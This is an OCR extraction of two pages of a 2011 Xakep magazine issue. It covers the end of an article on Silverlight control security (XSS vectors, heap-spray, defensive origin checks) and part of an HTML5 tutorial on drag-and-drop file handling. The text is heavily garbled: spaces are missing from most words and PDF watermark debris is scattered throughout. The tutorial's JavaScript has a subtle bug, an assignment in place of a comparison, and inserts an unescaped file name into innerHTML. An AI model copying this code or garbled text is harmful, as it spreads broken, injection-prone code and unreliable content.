|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
http://foo.com
Кроссдоменный доступ запрещен по умолчанию
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
http://api.cool.com
http://foo.com/app.xap
Такимобразом, XSS-атакавозможна, еслиSL-контролделаетчто- нибудьвроде:
•XamlReader.Load() сострокойзлоумышленника;
•Assembly.Load() c Dll, которуюможетподменитьзлоумышленник;
•SL-контролиспользуетнеэкранированныестрокиприсоздании
XAML- илиHTML-разметкичерезSystem.Windows.Browser;
•SL-приложениеиспользуетсторонниеxap-файлыиестьвозможность загрузкитакихфайловклиентомнасервер.
Вовсехэтихслучаяхнеобходиманализxap-файладляпоискатакихуяз- вимостей. НасамомделеSilverlight-сборкиоченьредкообрабатывают обфускатором, ареверсингmanaged-приложений— задачапопроще, чемреверсингnative-кода. Поэтомуанализконтроланаподобные уязвимостинеслишкомсложен.
Следуетсказать, чтонаиболеераспространеннаяXSS GIFAR-атака, при которойзагружаемыймедиа-контентможетбытьисполненплагином, вслучаесSilverlight невозможна, посколькуSilverlight-плагинсчитает объектSilverlight-приложениемтолькоеслидлянегозаданкорректный
MIME Type «application/x-silverlight-app».
И, наконец, существуетвозможностьиспользовать.xap-файлыдля стандартнойheap-spray атаки, какидругойподгружаемыйбраузером контент. Вэтомслучаеблокиnative-кода, которымизасоряетсякуча браузера, располагаютсявxap-файле, чтоделаетheap-spray менее очевиднойприанализеweb-страницы.
КаксделатьSilverlight-контролы болеебезопасными?
ЕслинатвоейстраницерасполагаютсясторонниеSilverlight-контролы, которымтынеоченьдоверяешь, тоодинизвозможныхспособовзащиты— этозадатьсвойствоEnableHtmlAccess утегаobject, вкотором подгружаетсяSilverlight-контрол. Этосвойствоопределяет, возможенли доступсостороныSL-контролакHTML-контентуиметодамJavaScript. Поумолчаниюэтосвойствоустанавливаетсявtrue, еслистраницаи
XÀÊÅÐ 06 /149/ 2011
контролзагруженысодногодомена, ивfalse — впротивномслучае. Еслитыхочешь, чтобытвойSilverlight-контролнельзябылоповесить начужуюстраницу, можнодобавитьвкодинициализацииследующие строки:
if (App.Current.Host.Settings.EnableHTMLAccess == false) throw new Exception();
string htmlurl = System.Windows.Browser.HtmlPage.Document.
DocumentUri.ToString();
if (htmlurl != "http://my.com/my.html") throw new Exception();
ЕслисостороныSilverlight-контроланасерверуходятданные, тона сторонесерверанеобходимоихправильнообработать:
—вопасныхместах(например, обращениекбазе) нужнопроверятьи экранироватьданныеотSilverlight-контрола, таккаконимогутсодержать, например, SQL инъекции;
—длябольшейнадежностиможнопроверятьсайт-источникзапроса (возможностьзадатьreferer появиласьвSilverlight 4.0).
Еслитебенужносохранятьважныеданныевизолированномхранилище, тонеобходимошифроватьих. Равнокакикуки, данныеизIS могутбытьдоступныадминистратору машины. Крометого, IS доступно длялюбогоприложениястогожедомена. Иначеговоря, есликто-то контролируетDNS жертвы, онможетполучитьдоступк этимданным. ДругойспособнеавторизованногодоступакIS — XSS описанвыше.
Заключение
Silverlight-платформасамапосебедовольнобезопасна, норешающеезначение, какэтообычнобывает, имеетто, каконаиспользуется. Silverlight-контрол, созданныйбезвниманиякбезопасности, может оказатьсяслабымзвеномweb-страницыилегкойдобычейдля хакера. z
105
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
Игорь Антонов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
РЕЦЕПТЫ HTML5
Погружаемся в кодинг под HTML5 на конкретных примерах
Кто на свете всех милее, всех румяней и желанней? Не подумай ничего пошлого, я имею в виду всего лишь новую версию языка разметки — HTML5. Последние версии современных браузеров уже понимают некоторые HTML5-фишки, а значит — самое время начать применять его в своих проектах.
ЧтотакоеHTML5?
НапервыйвзглядHTML5 — этовсеголишьноваяверсияязыкаразметки. Однакосейчасподэтимтерминомподразумеваютнесколько иное. РассматриватьHTML5 безупоминаниятогожеCSS3 просто нелепо, посколькудляразработкидействительносовременных web-приложенийбезнегоникакнеобойтись. Нельзязабыватьио JavaScript. СегопомощьюреализуетсяобращениекбогатомуAPI, описанномувстандартеHTML5. Резюмируявсевышесказанное, напрашиваетсяопределение: HTML5 — этосовокупностьсовременных технологий/стандартов(JS, HTML5, CSS3 итакдалее), применяемых дляразработкиweb-приложений.
Капелькаистории
HTML5 появилсяотнюдьневнезапно. Егоразработканачаласьеще в2007 году. Запроцессработкиотвечаласпециальносозданная группаотконсорциумаW3C. НомногиевозможностиHTML5 были придуманыещеврамкахстандартаWeb Application 1.0, анадним корпелиажс2004 года. ТакчтовреальностиHTML5 нетакаяужи юнаятехнология, какможетпоказатьсянапервыйвзгляд.
ПерваячерноваяверсияспецификацииHTML5 сталадоступнауже 22 января2008 года. Прошлотригода, ноокончательнаяверсия спецификациитакинеготоваиврядлипоспеетвближайшиегоддва. Этотпечальныймоментобязываетразработчиковаккуратно применятьновыевозможностивсвоихпроектах. Спецификацияможетзапростопоменяться, даиневсесовременныебраузеры(FireFox
4, Google Chrome 10, IE9, Opera 11) вполноймереподдерживают
новыевозможности.
Полезныерецепты
ГоворитьотеорииHTML5 можнооченьдолго, норубрикаунасназывается«Кодинг», поэтомуяпредлагаютебепрочувствоватьвозможностистандартанапрактике. Янесталзаморачиватьсянадсозданиемсверхоригинальныхрецептов, арешилпривестипримерывещей, которыедействительнополезныикоторыеужесейчасможноинужно применятьнасвоихсайтах. Итак, поехали.
Рецепт№1:ВключаемDrag&Dropна полную
Однойизприятныхняшек(наверное, зрятыупотребилстолько энергетиков, ведьтутдолжнобытьслово«фишек» — прим. ред.) HTML5 сталавозможностьпримененияFile API иDrag and Drop API.
Сихпомощьюможноорганизоватькрасивуюпередачуфайловс компьютерапользователянасервер. Помнишь, раньшедляотправки файловвсегдабылополескнопочкой«Browse»? Послееенажатия появлялсястандартныйдиалогвыборафайлов, вкоторомитребовалосьвыбратьфайлдляпередачи. Назватьэтотспособудобнымязык неповорачивается. Особенноеслиречьидетодобавлениивочередь загрузкинесколькихфайлов.
Чутьпозжеумельцыначалилепитьаплоадерынафлеше, которые предоставлялибольшийфункционал, ноимелисерьезныйнедо-
106 |
XÀÊÅÐ 06 /149/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Область для приаттачивания файлов
КАК ПОДСТРАХОВАТЬСЯ?
Напротяжениивсейстатьияговорил, чтовнастоящиймомент современныебраузерыподдерживаютразныйобъемвозможностей HTML5. Именнопоэтомунужнобытьаккуратнымистаратьсяне использоватьужоченьэкзотичныевещи. Сразувозникаетвопрос: «А какузнать, какиевозможностиHTML5 поддерживаетопределенный браузер?». Естьнесколькоспособоврешенияэтойзадачи, номне большевсегоподушеприменениекрошечнойJavaScript-библиотеки
— Modernizr (modernizr.com). Библиотекараспространяется совершеннобесплатноистоитееподключитьксвоемупроекту, каконасразувыведетсписоквозможностейHTML5, которые
поддерживаеттвойбраузер. Чтобыпротестироватьфункциональность библиотеки, тебенеобязательносразуеекачатьиподключатьк своемупроекту. Достаточнопростозайтинаофициальныйсайт библиотекиитысразуувидишь, чтоподдерживаеттвоябродилка, а чтонет. ПосмотрискриншотыпосещениясайтаприпомощиGoogle Chrome иInternet Explorer 9. Несмотрянахорошуюpr-компанию
ивосхваляющиестатьи, бродилкаотMicrosoft явноподдерживает меньшевозможностей, нежелиGoogle Chrome.
статок— потребностьвустановленномфлеше. Крометого, вобоих случаяхупользователянебыловозможностидобавлятьфайлыдля передачипутемпростогоперетаскиваниямышкойнастраницу.
АведьтехнологияDrag&Drop применяетсявсистемесплошьи рядом. Мнеличновсегдахотелосьпростовыделитьнужныефайлы илегкимвзмахомкрысыкинутьнастраницу. Этокудаудобней, чемрыскатьвпоискахфайлаприпомощистандартногодиалога. HTML5 внессвоикоррективы, итеперьничтонемешаеторганизоватьполноценныйDrag&Drop дляпередачифайланастраницу. ПервымиэтуфичуреализовалигугловчаневGmail. Еслитыпользуешьсягмылом, тонавернякадавнозаметилобласть, накоторую можноперетащитьфайлыдляприаттачиваниякписьму. Личноя активнопользуюсьэтойфункциейисейчаспокажутебе, какзамутитьтакуюжедлясвоегопроекта. Нашпроектбудетсостоятьиз трехфайлов: sample.html, style.css иscripts.js. Мы, конечно, могли быограничитьсяиоднимhtml-файлом, нотогдакодполучилсябы нечитабельным. НенужномешатьHTML сJS илиCSS. Лучшевсе разбитьпофайлам, ипотомспокойненькоснимиработать. Первым деломподготовимструктурунашегоприложения. Создавайфайл sample.html инапишивнем:
<!DOCTYPE html> <html>
<head>
<link type="text/css" rel="stylesheet" media="all" href="style.css" />
<script src="jquery.js" type="text/javascript"></script> <script type="text/javascript" src="scripts.js"></script> </head>
<body>
Предварительный просмотр приложения
HTML5 ПОДВИНЕТ FLASH
ОднойизсамыхинтересныхфишекHTML5 являетсявозможность созданияанимации. ДостигаетсяэтопутеммиксаHTML5 иCSS3. Такаяанимациявыглядитдостаточнокрасивоивомногихслучаях сможетзаменитьFlash. Могусуверенностьюсказать, чтоэтобудет оченьнескоро, посколькусейчасFlash освоитьпроще, нежели разобратьсявмалопонятномHTML5/CSS3-коде(имхо). Темнеменее, знатьотакойфичетыобязан. Крайнерекомендуютебепройтисьпо нижеприведеннымссылкамисвоимиглазамиувидетькрасивые демки, демонстрирующиевозможностьанимации.
•Красиваядемка, показывающаявозможностиCanvas’a: feedtank. com/labs/html_canvas;
•Красивая3D-шкатулкасовстроеннойстрокойпоискаотGoogle: addyosmani.com/resources/googlebox;
•Одинкликмышью, истраницаначнетзаполнятьсяшарами. Большекликов— большешаров. Какнаполнишьстраницудокраев
— попробуйихрезкоперетащить. Выглядиточеньзабавно: mrdoob. com/projects/chromeexperiments/ball_pool;
•Простообалденнаядемка, демонстрирующаяразличные химическиесоединения. Обязательностоитпосмотреть: alteredqualia. com/canvasmol;
•Тыкогда-нибудьхотелпочувствоватьсебяпатологоанатомом
иисследоватьтайнычеловеческоготела? Еслида, тоэтотлинк точнодлятебя. КомпанияGoogle сделалаотличнуюдемкуизсмеси технологийWebGL, HTML5, CSS3 иFlash. Результатомкоктейлястало интерактивноеприложение, демонстрирующее3D-телочеловека, у котороготыможешьрассматриватьстроениевнутреннихорганов. Якогдаувиделеговпервыйраз— немоготорваться. Рекомендую: bodybrowser.googlelabs.com.
<div id="box"><span id="label">Тащи свои файлы сюда</span> </div>
</body>
</html>
ДляудобстванаписаниякоданаJavaScript яподключилбиблиотеку jquery. Послеэтогоописалструктурубудущегоhtml-документа. Она простадобезобразия— намтребуетсяописатьполе, накоторое пользовательдолженперетягиватьфайлы. Дляэтогонеобходим лишьодинdiv-контейнер. Еслисейчасоткрытьстраницувбраузере, тоничегохорошеготынеувидишь. Чтобынашеполесталозаметным визуально, требуетсяегооформитьприпомощиCSS. Открываем файлstyle.css ипишемвнегоследующийкод:
#box {
width: 500px; height: 300px;
border: 2px dashed #000000; background-color: #FCFFB2; text-align: center;
color: #3D91FF; font-size: 2em;
font-family: Verdana, sans-serif;
XÀÊÅÐ 06 /149/ 2011 |
107 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
||||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Приложение в действии
-moz-border-radius: 8px; -webkit-border-radius: 8px;
}
#label {
position: relative; top: 2%;
}
Идентификатор«box» — этоиестьнашбудущийконтейнердля приемафайлов(наэтуобластьпользовательдолженперетаскивать документы). Чтобыюзернепромахнулся, яделаюобластьпобольше ивкачествевариантаобрамлениявыбираюdashed — пунктирные линии. Обычныепунктирныелиниисмотрятсянеочень, поэтомуя сразузадаюзначениядлясвойств: -moz-border-radius и-webkit- border-radius. Вотсейчастыможешьоткрытьсозданнуюстраницув браузереиоценитьобщийвид.
Однакоеслисейчаспопробоватьчто-топеретащить, тоничегоинтересногонепроизойдет. Перетаскиваемыйфайлпростооткроется вweb-браузере, ивсе. Исправитьситуациюпоможетнебольшой кусочеккоданаJavaScript:
$(document).ready(function() { //Добавляем обработчики событий
var mybox = document.getElementById("box") mybox.addEventListener("dragenter", dragEnter, false); mybox.addEventListener("dragexit", dragExit, false); mybox.addEventListener("dragover", dragOver, false); mybox.addEventListener("drop", drop, false);
});
function dragEnter(evt) { evt.stopPropagation(); evt.preventDefault();
}
function dragExit(evt) { evt.stopPropagation(); evt.preventDefault();
}
function dragOver(evt) { evt.stopPropagation(); evt.preventDefault();
}
function drop(evt) { evt.stopPropagation(); evt.preventDefault();
var files = evt.dataTransfer.files; var count = files.length;
if (count > 0)
Смотрим видео средствами HTML5
handleFiles(files);
}
function handleFiles(files) { //Берем первый файл
//Если требуется работать с несколькими //файлами, то здесь нужно организовать перебор var file = files[0]; document.getElementById("label").innerHTML =
"Поймал: " + file.name;
var reader = new FileReader();
reader.onprogress = handleReaderProgress; reader.readAsDataURL(file);
}
function handleReaderProgress(evt) { if (evt.lengthComputable) {
if (evt.loaded = evt.total) { alert("Загружен...");
}
}
}
Напервыйвзглядкодможетпоказатьсягромоздкиминепонятным, ноте, ктохотьнемногознакомсJavaScript иjquery, сразудолжны разобратьсяспроисходящим. Всамомначалеяопределяюсобытия, возникновениекоторыхменяинтересует. Длякаждогоизнихяописываюотдельнуюфункцию. Например, событиеdragExit возникает, когдапользовательперемещаеткурсормышиизэлемента, над которымпроисходитоперацияперетаскивания. Еслипользователь перетащилфайл, тоуправлениеберетнасебяфункцияhandleFiles(). Внейяпреднамереннообращаюськсамомупервомуфайлу(files[0]) иначинаюснимработать. Учти, пользовательможетперетащитьза разсразунесколькофайлов. Еслитвоеприложениедолжноуметь обрабатыватьтакиеситуации, тоорганизуемпереборвсегомассиваfiles. ВфункцииhandleFiles() происходитвсесамоеинтересное. Сначалаявывожувэлементlabel (помнишьнадпись«Тащисвои файлысюда»?) имяфайла, которыйпользовательперетянулнаактивнуюобласть, азатемначинаюегосчитыватьприпомощиобъекта типаFileReader(). Подробнейпронегоможнопочитатьвэтойстатье: html5rocks.com/tutorials/file/dndfiles. Навсякийслучайяопределяю обработчиксобытияonProgress дляобъектатипаFileReader(). Это событиебудетвызыватьсякаждыйраз, когдапроизойдетсчитываниепорцииданных. Всамомобработчикеявыставилусловие: если объемзагруженныхданныхравенразмеруфайла, значит, считываниеуспешнозавершено, иможновыводитьрадостноесообщение.
Рецепт№2:Пейпиво,смотривидео,слушайрок
ДопоявленияHTML5 просмотрвидеовweb’еосуществлялсяпри помощивсевозможныхflash-плееров. Нельзясказать, чтопросмотр видеоэтимспособомнеудобен. Проблемыестьразвечтовбезопас-
108 |
XÀÊÅÐ 06 /149/ 2011 |